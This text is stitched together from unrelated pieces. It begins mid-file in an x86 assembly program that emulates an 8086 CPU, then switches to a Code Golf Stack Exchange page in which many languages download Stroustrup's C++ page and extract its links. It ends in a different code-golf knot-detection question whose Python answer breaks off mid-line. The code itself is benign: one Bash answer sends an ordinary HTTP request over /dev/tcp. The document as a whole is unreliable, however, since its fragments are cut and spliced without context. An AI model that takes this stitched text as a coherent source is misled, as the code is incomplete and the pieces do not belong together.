Ret_Far jmp ecx ; other instructions Jmp70h: GenerateJmpConditional jo Jmp71h: GenerateJmpConditional jno Jmp72h: GenerateJmpConditional jb Jmp73h: GenerateJmpConditional jae Jmp74h: GenerateJmpConditional je Jmp75h: GenerateJmpConditional jne Jmp76h: GenerateJmpConditional jbe Jmp77h: GenerateJmpConditional ja Jmp78h: GenerateJmpConditional js Jmp79h: GenerateJmpConditional jns Jmp7ah: GenerateJmpConditional jpe Jmp7bh: GenerateJmpConditional jpo Jmp7ch: GenerateJmpConditional jl Jmp7dh: GenerateJmpConditional jge Jmp7eh: GenerateJmpConditional jle Jmp7fh: GenerateJmpConditional jg Jmp_Short_Rel8: movsx di, ah Jmp_Short_Rel8_Inner: add di, 2 ; instruction length = 2 bytes add R_IP, di ; ip += rel8 sign extended to 16bit (relative to next instruction) ret Call_Direct_Near: ; near direct is ip relative, cannot reuse indirect code movzx edx, R_SP movzx ecx, R_SS sub R_SP, 2 ; write after read to avoid stall shl ecx, 4 mov si, R_IP add si, 3 ; instruction length = 3 bytes mov word ptr MEMO[edx + ecx - 2], si add si, word ptr [ebx + 1] mov R_IP, si ; write back ret ; not reuse code Jmp_Near_Rel16: ; ip += displacement mov si, R_IP add si, 3 ; instruction length = 3 bytes add si, word ptr [ebx + 1] mov R_IP, si ; write back ret Call_Direct_Far: lea edx, [ebx + 1] lea esi, [ebx + 5] jmp Call_Indirect_Far ; reuse code Jmp_Direct_Far: lea edx, [ebx + 1] lea esi, [ebx + 5] jmp Jmp_Indirect_Far ; reuse code Call_Jmp_Indirect: test ah, 00110000b jz NotMatch ; xx00xxxx xor ah, 00110000b test ah, 00110000b jz NotMatch ; xx11xxxx computeEffectiveAddress Control_Flow_EA_Done, 0, R_DS ; fall-through Control_Flow_EA_Done: ; IMPORTANT: ah xor with 00110000b test ah, 00100000b jz Jmp_Indirect ; xx10sxxx ; xx01sxxx test ah, 00001000b jz Call_Indirect_Near ; xx010xxx jmp Call_Indirect_Far ; xx011xxx Jmp_Indirect: ; xx10sxxx test ah, 00001000b jz Jmp_Indirect_Near ; xx100xxx jmp Jmp_Indirect_Far ; xx101xxx NotMatch: jmp ecx Call_Indirect_Near: sub esi, ebx ; esi-ebx is command length add si, R_IP ; add to R_IP to get offset of next instruction ; now ebx free ; push ip movzx ebx, R_SP movzx ecx, R_SS sub R_SP, 2 ; write after read to avoid stall shl ecx, 4 mov word ptr MEMO[ebx + ecx - 2], si ; fall-through Jmp_Indirect_Near: mov ax, word ptr [edx] ; load offset into cx mov R_IP, ax ; write back new ip ret Call_Indirect_Far: sub esi, ebx ; esi-ebx is command length add si, R_IP ; add to R_IP to get offset of next instruction ; now ebx free ; push cs, then push ip movzx ebx, R_SP movzx ecx, R_SS sub R_SP, 4 ; write after read to avoid stall shl ecx, 4 movzx eax, R_CS shl eax, 16 or eax, esi ; avoid partial register write then read whole register mov dword ptr MEMO[ebx + ecx - 4], eax ; fall-through Jmp_Indirect_Far: mov eax, dword ptr [edx] mov R_IP, ax shr eax, 16 mov R_CS, ax ret Ret_Near: movzx edx, R_SP movzx ecx, R_SS shl ecx, 4 mov ax, word ptr MEMO[edx + ecx] ; rtn addr in ax mov R_IP, ax add di, 2 ; pop n + 2 byte add R_SP, di ret Ret_Far: movzx edx, R_SP movzx ecx, R_SS shl ecx, 4 mov eax, dword ptr MEMO[edx + ecx]; rtn addr (high[16] = cs, low[16] = ip ) in eax mov R_IP, ax shr eax, 16 mov R_CS, ax mov R_IP, ax add di, 4 ; pop n + 4 byte add R_SP, di ret ControlTransfer ENDP ; error case return address passed by ecx ; flat ip in ebx ; success will use ret DataTransferMOV PROC movzx eax, word ptr [ebx] ; read 2 byte at once, may exceed 1M, but we are in a emulator xor al, 10001000b test al, 11111100b ; high 6 100010 jz RegWithRegOrMem ; 100010xx ; not xor test al, 11111001b jz SegRegWithRegOrMem; 100011x0, previous test with 11111100b not zero, thus test with 0100b must not zero xor al, 00101000b ; equiv to xor 10100000b at once test al, 11111100b ; high 6 101000 jz MemWithAccumulator xor al, 00010000b ; equiv to xor 10110000b at once test al, 11110000b ; high 4 1011 jz ImmToReg xor al, 01110110b ; equiv to xor 11000110b at once test al, 11111110b ; high 7 1100011 jz ImmToRegOrMem jmp ecx ImmToRegOrMem: or al, 10000000b ; set flag to reuse code, repeat macro maybe a little faster jmp WithRegOrMem SegRegWithRegOrMem: or al, 0001b ; SegReg case don't have w[1], manually set lowest bit ; fall-through RegWithRegOrMem: ; fall-through WithRegOrMem: computeEffectiveAddress SrcIsRegOrImm, 0, R_DS SrcIsRegOrImm: ; not real src, d[1] decide real src test al, 10000000b ; test flag jnz SrcIsImm ; Not Imm, Use Reg ; compute delta ip sub esi, ebx add R_IP, si ; now ebx, esi free shr ah, 2 ; not fully shift to eliminate index scaling movzx ecx, ah ; 00 mod[2] reg[3] x, moved before jump to reuse code test al, 0100b ; check if segment register jnz SegReg test al, 0001b ; decide 16bit or 8bit register jnz REG_IsWordReg ; 8bit register and ecx, 0110b ; ecx = 00 mod[2] reg[3] x ; 0,2,4,6 -> ACDB movzx ebx, ah and ebx, 1000b ; 0 -> L, 1 -> H shr ebx, 3 test al, 0010b ; d[1] jnz ToByteReg ; from byteReg mov al, byte ptr REGB[ecx + ebx] mov byte ptr [edx], al ret ToByteReg: mov al, byte ptr [edx] mov byte ptr REGB[ecx + ebx], al ret REG_IsWordReg: ; 16bit register and ecx, 1110b test al, 0010b ; d[1] jnz ToWordReg ; from WordReg mov ax, word ptr REGW[ecx] mov word ptr [edx], ax ret ToWordReg: mov ax, word ptr [edx] mov word ptr REGW[ecx], ax ret SrcIsImm: mov cx, word ptr [esi] ; read 2 byte at once to reuse code, may exceed 1M, but we are in a emulator test al, 0001b ; w[1] jnz WordSrcImm ; Byte Imm add esi, 1 sub esi, ebx add R_IP, si mov byte ptr [edx], cl ret WordSrcImm: add esi, 2 sub esi, ebx add R_IP, si mov word ptr [edx], cx ret SegReg: and ecx, 0110b ; reg[3] = 0 seg[2] test al, 0010b ; d[1] jnz ToSegReg mov ax, word ptr REGS[ecx] mov word ptr [edx], ax ret ToSegReg: mov ax, word ptr [edx] mov word ptr REGS[ecx], ax ret ImmToReg: test al, 1000b ; w[1] jnz WordImmToReg ; byte Imm ; ebx + 1 already in ah, ebx free add R_IP, 2 movzx ecx, al ; 0000 w[1] reg[3] and ecx, 0011b movzx ebx, al and ebx, 0100b shr ebx, 2 mov byte ptr REGB[ecx * 2 + ebx], ah ret WordImmToReg: add R_IP, 3 movzx ecx, al and ecx, 0111b mov ax, word ptr [ebx + 1] mov word ptr REGW[ecx * 2], ax ret MemWithAccumulator: add R_IP, 3 movzx edx, word ptr [ebx + 1] movzx ecx, R_DS shl ecx, 4 test al, 0010b ; 0 to accumulator jnz FromAccumulator mov bx, word ptr MEMO[edx + ecx] ; read 2 byte at once to reuse code, may exceed 1M, but we are in a emulator test al, 0001b ; w[1] jnz ToAX ; to AL mov R_AL, bl ret ToAX: mov R_AX, bx ret FromAccumulator: test al, 0001b ; w[1] jnz FromAX ; from AL mov bl, R_AL mov byte ptr MEMO[edx + ecx], bl ret FromAX: mov bx, R_AX mov word ptr MEMO[edx + ecx], bx ret DataTransferMOV ENDP ; error case return address passed by ecx ; flat ip in ebx ; success will use ret DataTransferStack PROC movzx eax, word ptr [ebx] ; read 2 byte at once, may exceed 1M, but we are in a emulator xor al, 01010000b test al, 11110000b ; high 4 0101 jz Register ; 0101xxxx xor al, 01010110b ; equiv to xor 00000110b at once test al, 11100110b ; 000xx11x jz SegmentRegister xor al, 10001001b ; equiv to xor 10001111b at once jz PopRegOrMem xor al, 01110000b ; equiv to xor 11111111b at once jz PushRegOrMem jmp ecx Register: add R_IP, 1 movzx esi, R_SP movzx ebx, R_SS shl ebx, 4 movzx ecx, al and ecx, 0111b test al, 1000b jnz PopRegister ; push mov ax, word ptr REGW[ecx * 2] sub R_SP, 2 ; push word mov word ptr MEMO[ebx + esi - 2], ax ret PopRegister: ; pop mov ax, word ptr MEMO[ebx + esi] add R_SP, 2 ; pop word mov word ptr REGW[ecx * 2], ax ret SegmentRegister: add R_IP, 1 movzx esi, R_SP movzx ebx, R_SS shl ebx, 4 movzx ecx, al and ecx, 00011000b shr ecx, 2 ; not fully shift test al, 0001b jnz PopSegmentRegister ; push mov ax, word ptr REGS[ecx] sub R_SP, 2 mov word ptr MEMO[ebx + esi - 2], ax ret PopSegmentRegister: ; pop mov ax, word ptr MEMO[ebx + esi] add R_SP, 2 mov word ptr REGS[ecx], ax ret PopRegOrMem: test ah, 00111000b jnz NotMatch or al, 10000000b ; set flag for code reuse jmp EA_Compute PopRegOrMemEADone: mov ax, word ptr MEMO[ebx + esi] add R_SP, 2 mov word ptr [edx], ax ret PushRegOrMem: xor ah, 00110000b test ah, 00111000b jnz NotMatch jmp EA_Compute PushRegOrMemEADone: mov ax, word ptr [edx] sub R_SP, 2 mov word ptr MEMO[ebx + esi - 2], ax ret EA_Compute: or al, 0001b ; set lowest bit indicate word register in r/m, which is xor cleared on instruction type check computeEffectiveAddress EA_Done, 0, R_DS EA_Done: sub esi, ebx add R_IP, si movzx esi, R_SP movzx ebx, R_SS shl ebx, 4 test al, 10000000b jz PushRegOrMemEADone jmp PopRegOrMemEADone NotMatch: jmp ecx DataTransferStack ENDP FlagInstruction PROC mov al, byte ptr [ebx] cmp al, 0F8h je ProcessClc cmp al, 0F9h je ProcessStc jmp ecx ProcessClc: add R_IP, 1 modifyFlagsInstruction <clc> ret ProcessStc: add R_IP, 1 modifyFlagsInstruction <stc> ret FlagInstruction ENDP XchgInstruction PROC movzx eax, word ptr [ebx] ; read 2 byte at once, may exceed 1M, but we are in a emulator xor al, 10000110b test al, 11111110b jz XchgRegOrMem xor al, 00010110b ; equiv to xor 10010000b test al, 11111000b jz XchgAX jmp ecx XchgAX: ; other bits in al already clear, only need to clear ah, but we just clear all add R_IP, 1 mov bx, R_AX and eax, 0111b xchg bx, word ptr REGW[eax * 2] mov R_AX, bx ret XchgRegOrMem: computeEffectiveAddress XchgRegOrMemEADone, 0, R_DS XchgRegOrMemEADone: sub esi, ebx add R_IP, si ; now ebx, esi free shr ah, 2 ; not fully shift to eliminate index scaling movzx ecx, ah ; 00 mod[2] reg[3] x, moved before jump to reuse code test al, 0001b ; decide 16bit or 8bit register jnz XchgRegOrMemWord ; 8bit register and ecx, 0110b ; ecx = 00 mod[2] reg[3] x ; 0,2,4,6 -> ACDB movzx ebx, ah and ebx, 1000b ; 0 -> L, 1 -> H shr ebx, 3 mov al, byte ptr [edx] xchg al, byte ptr REGB[ecx + ebx] mov byte ptr [edx], al ret XchgRegOrMemWord: and ecx, 1110b mov ax, word ptr [edx] xchg ax, word ptr REGW[ecx] mov word ptr [edx], ax XchgInstruction ENDP computeEffectiveAddressUnitTest MACRO LOCAL callback, L1, L2, L3, L4, L5, L6 mov ebx, offset MEMO mov byte ptr [ebx + 2], 0 mov byte ptr [ebx + 3], 1 mov ah, 00000110b push offset L1 computeEffectiveAddress callback, 1, R_DS L1: mov ebx, offset MEMO mov byte ptr [ebx + 2], 10 mov byte ptr [ebx + 3], 0 mov ah, 00000110b push offset L2 computeEffectiveAddress callback, 1, R_DS L2: mov ebx, offset MEMO mov ah, 00000000b mov R_BX, 4 mov R_SI, 3 push offset L3 computeEffectiveAddress callback, 1, R_DS L3: mov ebx, offset MEMO mov ah, 10000000b mov byte ptr [ebx + 2], 10 mov byte ptr [ebx + 3], 0 mov R_BX, 4 mov R_SI, 3 push offset L4 computeEffectiveAddress callback, 1, R_DS L4: mov ebx, offset MEMO mov ah, 00000101b mov R_DI, 5 push offset L5 computeEffectiveAddress callback, 1, R_DS L5: mov ebx, offset MEMO mov ah, 00000111b mov R_BX, 9 push offset L6 computeEffectiveAddress callback, 1, R_DS L6: ret callback: INVOKE printf, offset debugMsg, offset MEMO, edx, esi, 0 ret ENDM include term.asm include binloader.asm main PROC INVOKE LoadBinaryIntoEmulator, ADDR MEMO, ADDR floppyPath INVOKE InitEmuScreen ; initialize terminal lea edi, [MEMO + 0b8000h] mov ecx, 80*25 mov ax, 0 rep lodsw ; clrscr ExecLoop: ; draw video memory movzx eax, running mov esi, OFFSET statusRunning test eax, eax mov ebx, OFFSET statusPaused cmovz esi, ebx FOR x, <R_DI, R_SI, R_BP, R_SP, R_BX, R_DX, R_CX, R_AX> movzx eax, x push eax ENDM push esi push offset statusLineFmt1 push offset lineBuf1 call crt_sprintf add esp, 44 FOR x, <R_DS, R_SS, R_CS, R_ES, R_FLAGS, R_IP> movzx eax, x push eax ENDM push offset statusLineFmt2 push offset lineBuf2 call crt_sprintf add esp, 32 movzx eax, running test eax, eax jnz Exec_TextAttr_Running loadStatusColor paused jmp Exec_TextAttr_End Exec_TextAttr_Running: loadStatusColor running Exec_TextAttr_End: mov statusTextAttr, eax movzx eax, running test eax, eax jnz ExecRunning INVOKE WriteEmuScreen, ADDR [MEMO + 0b8000h] INVOKE WriteStatusLine, ADDR lineBuf1, ADDR lineBuf2, statusTextAttr ; check keyboard input INVOKE crt__getch cmp eax, 'c' ; 'c' is pressed jne RefreshedScreen mov running, 1 jmp RefreshedScreen ExecRunning: add screenRefreshCounter, 1 jno RefreshedScreen INVOKE WriteStatusLine, ADDR lineBuf1, ADDR lineBuf2, statusTextAttr INVOKE WriteEmuScreen, ADDR [MEMO + 0b8000h] RefreshedScreen: ; execute next instruction pushad computeFlatIP movzx eax, byte ptr [ebx] cmp eax, 0F4h je EmulatorHalt push offset Executed mov ecx, OFFSET ExecIncDec jmp ArithLogic ExecIncDec: mov ecx, OFFSET ExecControl jmp Arith_INC_DEC ExecControl: mov ecx, OFFSET ExecData jmp ControlTransfer ExecData: mov ecx, OFFSET ExecFlag jmp DataTransferMOV ExecFlag: mov ecx, OFFSET ExecPushPop jmp FlagInstruction ExecPushPop: mov ecx, OFFSET ExecXchg jmp DataTransferStack ExecXchg: mov ecx, OFFSET ExecUD jmp XchgInstruction ExecUD: mov ecx, MB_ICONERROR or ecx, MB_OK INVOKE MessageBox, NULL, ADDR UDMsg, ADDR UDMsgTitle, ecx add R_IP, 1 ; skip this opcode add esp, 4; pop offset Executed Executed: popad jmp ExecLoop EmulatorHalt: INVOKE WriteStatusLine, ADDR lineBuf1, ADDR lineBuf2, statusTextAttr INVOKE WriteEmuScreen, ADDR [MEMO + 0b8000h] ; update screen INVOKE MessageBox, NULL, ADDR haltMsg, ADDR haltMsgTitle, MB_OK INVOKE ExitProcess, 0 ret main ENDP END main ``` ``` ]
[Question] [ **Closed.** This question is [off-topic](/help/closed-questions). It is not currently accepting answers. --- Questions without an **objective primary winning criterion** are off-topic, as they make it impossible to indisputably decide which entry should win. Closed 3 years ago. **Locked**. This question and its answers are [locked](/help/locked-posts) because the question is off-topic but has historical significance. It is not currently accepting new answers or interactions. [Stroustrup](http://en.wikipedia.org/wiki/Bjarne_Stroustrup) has recently posted a series of posts debunking [popular myths about C++](http://isocpp.org/blog/2014/12/myths-3). The fifth myth is: “C++ is for large, complicated, programs only”. To debunk it, he wrote a simple C++ program **downloading a web page and extracting links from it**. Here it is: ``` #include <string> #include <set> #include <iostream> #include <sstream> #include <regex> #include <boost/asio.hpp> using namespace std; set<string> get_strings(istream& is, regex pat) { set<string> res; smatch m; for (string s; getline(is, s);) // read a line if (regex_search(s, m, pat)) res.insert(m[0]); // save match in set return res; } void connect_to_file(iostream& s, const string& server, const string& file) // open a connection to server and open an attach file to s // skip headers { if (!s) throw runtime_error{ "can't connect\n" }; // Request to read the file from the server: s << "GET " << "http://" + server + "/" + file << " HTTP/1.0\r\n"; s << "Host: " << server << "\r\n"; s << "Accept: */*\r\n"; s << "Connection: close\r\n\r\n"; // Check that the response is OK: string http_version; unsigned int status_code; s >> http_version >> status_code; string status_message; getline(s, status_message); if (!s || http_version.substr(0, 5) != "HTTP/") throw runtime_error{ "Invalid response\n" }; if (status_code != 200) throw runtime_error{ "Response returned with status code" }; // Discard the response headers, which are terminated by a blank line: string header; while (getline(s, header) && header != "\r") ; } int main() { try { string server = "www.stroustrup.com"; boost::asio::ip::tcp::iostream s{ server, "http" }; // make a connection connect_to_file(s, server, "C++.html"); // check and open file regex pat{ R"((http://)?www([./#\+-]\w*)+)" }; // URL for (auto x : get_strings(s, pat)) // look for URLs cout << x << '\n'; } catch (std::exception& e) { std::cout << "Exception: " << e.what() << "\n"; return 1; } } ``` Let's show Stroustrup what **small and readable** program actually is. 1. Download `http://www.stroustrup.com/C++.html` 2. List all links: ``` http://www-h.eng.cam.ac.uk/help/tpl/languages/C++.html http://www.accu.org http://www.artima.co/cppsource http://www.boost.org ... ``` You can use any language, but no third-party libraries are allowed. # Winner [C++ answer](https://codegolf.stackexchange.com/a/44344) won by votes, but it relies on a semi-third-party library (which is disallowed by rules), and, along with another close competitor [Bash](https://codegolf.stackexchange.com/a/44317), relies on a hacked together HTTP client (it won't work with HTTPS, gzip, redirects etc.). So [**Wolfram**](https://codegolf.stackexchange.com/a/44316) is a clear winner. Another solution which comes close in terms of size and readability is [PowerShell](https://codegolf.stackexchange.com/a/44331) (with improvement from comments), but it hasn't received much attention. Mainstream languages ([Python](https://codegolf.stackexchange.com/a/44279), [C#](https://codegolf.stackexchange.com/a/44283)) came pretty close too. # Comment on subjectivity The most upvoted answer (C++) at the moment votes were counted was **disqualified for not following the rules** listed here in the question. There's nothing subjective about it. The second most upvoted question at that moment (Wolfram) was declared winner. The third answer's (Bash) "disqualification" is subjective, but it's **irrelevant** as the answer didn't win by votes at any point in time. You can consider it a comment if you like. Furthermore, right now the Wolfram answer is the most upvoted answer, the accepted one, and is declared winner, which means there's zero debate or subjectivity. [Answer] # Wolfram This feels like complete cheating ``` Import["http://www.stroustrup.com/C++.html", "Hyperlinks"] ``` So just add some honest parsing on top ``` Cases[ Import["http://www.stroustrup.com/C++.html", "XMLObject"], XMLElement["a", {___, "href" -> link_, ___}, ___] :> link /; StringMatchQ[link, RegularExpression["((http://)?www([./#\\+-]\\w*)+)"]] , Infinity] ``` [Answer] # C++ ``` #include <boost/asio.hpp> #include <regex> #include <iostream> int main() { std::string server = "www.stroustrup.com"; std::string request = "GET http://" + server + "/C++.html HTTP/1.0\r\nHost: " + server + "\r\n\r\n"; boost::asio::ip::tcp::iostream s{server, "http"}; s << request; std::regex pat{R"((http://)?www([./#\+-]\w*)+)"}; std::smatch m; for (std::string l; getline(s, l);) if (std::regex_search(l, m, pat)) std::cout << m[0] << "\n"; } ``` The main shortcoming is the awkward nature of boost::asio, I'm sure it can be even shorter with a better library. [Answer] # Pure Bash on Linux/OS X (no external utilities) HTTP client software is notoriously bloated. We don't want those kinds of dependencies. Instead we can push the appropriate headers down a TCP stream and read the result. No need to call archaic utilities like grep or sed to parse the result. ``` domain="www.stroustrup.com" path="C++.html" exec 3<> /dev/tcp/$domain/80 printf "GET /$path HTTP/1.1\r\nhost: %s\r\nConnection: close\r\n\r\n" "$domain" >&3 while read -u3; do if [[ "$REPLY" =~ http://[^\"]* ]]; then printf '%s\n' "$BASH_REMATCH" fi done ``` Meh - I suppose it could be more readable... [Answer] # Python 2 ``` import urllib2 as u, re s = "http://www.stroustrup.com/C++.html" w = u.urlopen(s) h = w.read() l = re.findall('"((http)s?://.*?)"', h) print l ``` Lame, but works [Answer] # C# ``` using System; using System.Net; using System.Text.RegularExpressions; string html = new WebClient().DownloadString("http://www.stroustrup.com/C++.html"); foreach (Match match in Regex.Matches(html, @"https?://[^""]+")) Console.WriteLine(match); ``` [Answer] # "No third-party" is a fallacy I think the "no third-party" assumption is a fallacy. And is a specific fallacy that afflicts C++ developers, since it's so hard to make reusable code in C++. When you are developing anything at all, even if it's a small script, you will always make use of whatever pieces of reusable code are available to you. The thing is, in languages like Perl, Python, Ruby (to name a few), reusing someone else's code is not only easy, but it is how most people actually write code most of the time. C++, with its nearly impossible-to-maintain-compatible-ABI-requirements makes that a much tougher job, you end up with a project like Boost, which is a monstrous repository of code and very little composability outside it. ## A CPAN example Just for the fun of it, here goes a CPAN-based example, with proper parsing of the html, instead of [trying to use regex to parse html](https://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags) ``` #!/usr/bin/perl use HTML::LinkExtor; sub callback { my ($tag, %links) = @_; print map { "$_\n" } values %links } $p = HTML::LinkExtor->new(\&callback, "http://www.stroustrup.com/C++.html"); ``` [Answer] # UNIX shell ``` lynx -dump http://www.stroustrup.com/C++.html | grep -o '\w*://.*' ``` Also finds an `ftp://` link :) Another way, without relying on `://` syntax: ``` lynx -dump -listonly http://www.stroustrup.com/C++.html | sed -n 's/^[ 0-9.]\+//p' ``` [Answer] # CSS 3 ``` * { margin: 0; padding: 0; } *:not(a) { font: 0/0 monospace; color: transparent; background: transparent !important; } a { content: ""; } a[href*="://"]::after { content: attr(href); float: left; clear: left; display: block; font: 12px monospace; color: black; } ``` This code can be used as a user style to display only absolute links on a page in an unformatted list. It may not work correctly if your browser enforces minimum font size. It works correctly with `http://www.stroustrup.com/C++.html` (note `!important` on `background`). In order to work on other pages with more styles, it must be extended (reset more properties, mark properties as important etc.). Alternative version which includes relative links except intrapage links starting with hashes (it relies on a hard-coded absolute link, unfortunately): ``` * { margin: 0; padding: 0; } *:not(a) { font: 0/0 monospace; color: transparent; background: transparent !important; float: none !important; width: auto !important; border: none !important; } a { content: ""; } a::after { display: none; } a:not([href^="#"])::after { content: attr(href); float: left; clear: left; display: block; font: 12px monospace; color: black; } a:not([href*="://"])::after { content: "http://www.stroustrup.com/" attr(href); } ``` [Answer] # Clojure ``` (->> (slurp "http://www.stroustrup.com") (re-seq #"(?:http://)?www(?:[./#\+-]\w*)+")) ``` [Answer] ## Emacs Lisp ``` (with-current-buffer (url-retrieve-synchronously "http://www.stroustrup.com/C++.html") (while (re-search-forward "https?://[^\\\"]*") (print (match-string 0)))) ``` [Answer] **Scala** ``` """\"(https?://.*?)\"""".r.findAllIn(scala.io.Source.fromURL("http://www.stroustrup.com/C++.html").mkString).foreach(println) ``` [Answer] # PHP 5 ``` <?php preg_match_all('/"(https?:\/\/.*?)"/',file_get_contents('http://www.stroustrup.com/C++.html'),$m); print_r($m[1]); ``` [Answer] # D ``` import std.net.curl, std.stdio; import std.algorithm, std.regex; void main() { foreach(_;byLine("http://www.stroustrup.com/C++.html") .map!((a)=>a.matchAll(regex(`<a.*?href="(.*)"`))) .filter!("a")){ writeln(_.front[1]); } } ``` [Answer] ## PowerShell Text search for all fully-qualified [URLs](http://en.wikipedia.org/wiki/Uniform_resource_locator) (including JavaScript, CSS, etc.): ``` [string[]][regex]::Matches((iwr "http://www.stroustrup.com/C++.html"), '\w+://[^"]+') ``` Or to get links in anchor tags only (includes relative URLs): ``` (iwr "http://www.stroustrup.com/C++.html").Links | %{ $_.href } ``` Shorter versions from comments: ``` (iwr "http://www.stroustrup.com/C++.html").Links.href ``` ``` (iwr "http://www.stroustrup.com/C++.html").Links.href-match":" ``` [Answer] # Haskell Some troubles with `"\w"` in Text.Regex.Posix ``` import Network.HTTP import Text.Regex.Posix pattern = "((http://)?www([./#\\+-][a-zA-Z]*)+)" site = "http://www.stroustrup.com/C++.html" main = do file <- getResponseBody =<< simpleHTTP (getRequest site) let result = getAllTextMatches $ file =~ pattern putStr $ unlines result -- looks nicer ``` [Answer] # Node.js ``` var http = require('http'); http.get('http://www.stroustrup.com/C++.html', function (res) { var data = ''; res.on('data', function (d) { data += d; }).on('end', function () { console.log(data.match(/"https?:\/\/.*?"/g)); }).setEncoding('utf8'); }); ``` [Answer] # Ruby ``` require 'net/http' result = Net::HTTP.get(URI.parse('http://www.stroustrup.com/C++.html')) result.scan(/"((http)s?://.*?)"/) ``` [Answer] # PHP As far as I can tell, most modern PHP installations come with DOM processing, so here's one that actually traverses the anchors inside the HTML: ``` foreach (@DOMDocument::loadHTMLFile('http://stroustrup.com/C++.html')->getElementsByTagName('a') as $a) { if (in_array(parse_url($url = $a->getAttribute('href'), PHP_URL_SCHEME), ['http', 'https'], true)) { echo $url, PHP_EOL; } } ``` The inner loop could be shortened to: ``` preg_match('~^https?://~', $url = $a->getAttribute('href')) && printf("%s\n", $url); ``` [Answer] # Unix Shell ``` wget -q -O - http://www.stroustrup.com/C++.html | sed -n '/http:/s/.*href="\([^"]*\)".*/\1/p' | sort ``` Though i have to admit this doesn't work if there's more than one link on a line. [Answer] # Java ``` import java.util.regex.*; class M{ public static void main(String[]v)throws Throwable{ Matcher m = Pattern.compile( "\"((http)s?://.*?)\"" ) .matcher( new Scanner( new URL( "http://www.stroustrup.com/C++.html" ) .openStream(), "UTF-8") .useDelimiter("\\A") .next()); while(m.find()) System.out.println(m.group()); } } ``` [Answer] # Groovy ``` "http://www.stroustrup.com/C++.html".toURL().text.findAll(/https?:\/\/[^"]+/).each{println it} ``` [Answer] # SQL (SQL Anywhere 16) ## Define a stored procedure to fetch the web page ``` CREATE OR REPLACE PROCEDURE CPPWebPage() URL 'http://www.stroustrup.com/C++.html' TYPE 'HTTP'; ``` ## Produce the result set using a single query ``` SELECT REGEXP_SUBSTR(Value,'"https?://[^""]+"',1,row_num) AS Link FROM (SELECT Value FROM CPPWebPage() WITH (Attribute LONG VARCHAR, Value LONG VARCHAR) WHERE Attribute = 'Body') WebPage, sa_rowgenerator( 1, 256 ) WHERE Link IS NOT NULL; ``` Limitations: This produces up to 256 links. If more links exist, then bump up the 256 to an appropriate value. [Answer] # CoffeeScript / NodeJS ``` require('http').get 'http://www.stroustrup.com/C++.html', (r) -> dt = ''; r.on 'data', (d) -> dt += d r.on 'end' , (d) -> console.log dt.match /"((http)s?:\/\/.*?)"/g ``` [Answer] ## Perl ``` use LWP; use feature 'say'; my $agent = new LWP::UserAgent(); my $response = $agent->get('http://www.stroustrup.com/C++.html'); say for $response->content =~ m<"(https?://.+?)">g; ``` [Answer] # R ``` html<-paste(readLines("http://www.stroustrup.com/C++.html"),collapse="\n") regmatches(html,gregexpr("http[^([:blank:]|\\\"|<|&|#\n\r)]+",html)) ``` ...although R is written mainly in C... so probably a few lines of C code behind those 2 lines of R code. [Answer] **Objective-C** ``` NSString *s; for (id m in [[NSRegularExpression regularExpressionWithPattern:@"\"((http)s?://.*?)\"" options:0 error:nil] matchesInString:(s=[NSString stringWithContentsOfURL:[NSURL URLWithString:@"http://www.stroustrup.com/C++.html"]])]){ NSLog(@"%@",[s substringWithRange:[m range]]); } ``` [Answer] ## Tcl ``` package require http set html [http::data [http::geturl http://www.stroustrup.com/C++.html]] puts [join [regexp -inline -all {(?:http://)?www(?:[./#\+-]\w*)+} $html] \n] ``` [Answer] # Go ``` package main import ( "fmt" "io/ioutil" "net/http" "os" "regexp" ) func main() { resp, err := http.Get("http://www.stroustrup.com/C++.html") if err != nil { fmt.Fprintln(os.Stderr, err) os.Exit(1) } defer resp.Body.Close() data, _ := ioutil.ReadAll(resp.Body) results := regexp.MustCompile(`https?://[^""]+`).FindAll(data, -1) for _, row := range results { fmt.Println(string(row)) } } ``` **P.S.** this code reads entire source into memory, so consider using `regexp.FindReaderIndex` to search in stream, that'll make the app bulletproof. [Answer] # CJam CJam does not have regex so I had to use a different approach in this one: ``` "http://www.stroustrup.com/C++.html"g''/'"*'"/(;2%{_"http://"#!\"https://"#!e|},N* ``` I first convert all `'` to `"`, then I split on all `"`, take every alternative string and then finally filter that list for strings starting with `http://` or `https://`. After that, simply print each filtered string on a new line. Try it using the [Java interpreter](http://sourceforge.net/p/cjam/wiki/Home/) like ``` java -jar cjam-0.6.2.jar file.cjam ``` where file.cjam has the contents of the code above. [Answer] # F# This code could be far shorter but I would write something like this if I ever expected to have to read or use this code again so it has many unnecessary type annotations. It demonstrates the use of an active pattern *MatchValue* to enable pattern-matching against the standard CLR type *Match* ``` open System.Net let (|MatchValue|) (reMatch: Match) : string = reMatch.Value let getHtml (uri : string) : string = use webClient = WebClient() in let html : string = webClient.DownloadString(uri) html let getLinks (uri : string) : string list = let html : string = getHtml uri let matches : MatchCollection = Regex.Matches(html, @"https?://[^""]+") let links = [ for MatchValue reMatch in matches do yield reMatch ] links let links = getLinks "http://www.stroustrup.com/C++.html" for link in links do Console.WriteLine(link) ``` **Edit** I made getLinks its own function ]
[Question] [ Write a program that processes an ASCII art representation of a tangled string and decides whether or not it can be untangled into a simple loop. The tangle is represented using the characters `-` and `|` to represent horizontal and vertical segments, and `+` to represent corners. Places where the string passes over itself are represented as follows: ``` | | ------- ---|--- | | (Horizontal segment on top) (Vertical segment on top) ``` The ends of the string are connected together; there are no loose ends. If your program decides that the string cannot be untangled into a simple loop, it should output the word `KNOT`. Otherwise, it should output the word `NOT`. **This is a [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'") challenge, so the shortest valid answer (measured in bytes of source code) will win.** ### Limits The ASCII input will consist of up to 25 lines of 80 characters. You may assume that all the lines are padded with spaces to the same length. ### Examples **Input:** ``` +-------+ +-------+ | | | | | +---|----+ +-------+ | | | | | | +-------|------------|---+ | | | | +---+ +---+ ``` **Output:** ``` KNOT ``` **Input:** ``` +----------+ | | | +--------------+ | | | | | | +-|----+ | | | | | | | | +-----+ | | | | | | | +------|---+ | | +---------------+ ``` **Output:** ``` NOT ``` ### References * <http://en.wikipedia.org/wiki/Knot_theory> * <http://en.wikipedia.org/wiki/Reidemeister_move> * <http://en.wikipedia.org/wiki/Unknotting_problem> [Answer] # Python 3, ~~457~~ ~~316~~ 306 bytes ``` E=enumerate V={'+'} Q=[[(-j,i,k)for i,u in E(open(0))for j,v in E(u)for k in[{v}&V,'join'][u[j:j+2]=='|-']]] while Q: a,b,c,d,*e=A=tuple(x//2for y,x in sorted((y,x)for x,y in E(Q.pop())));e or exit('NOT') 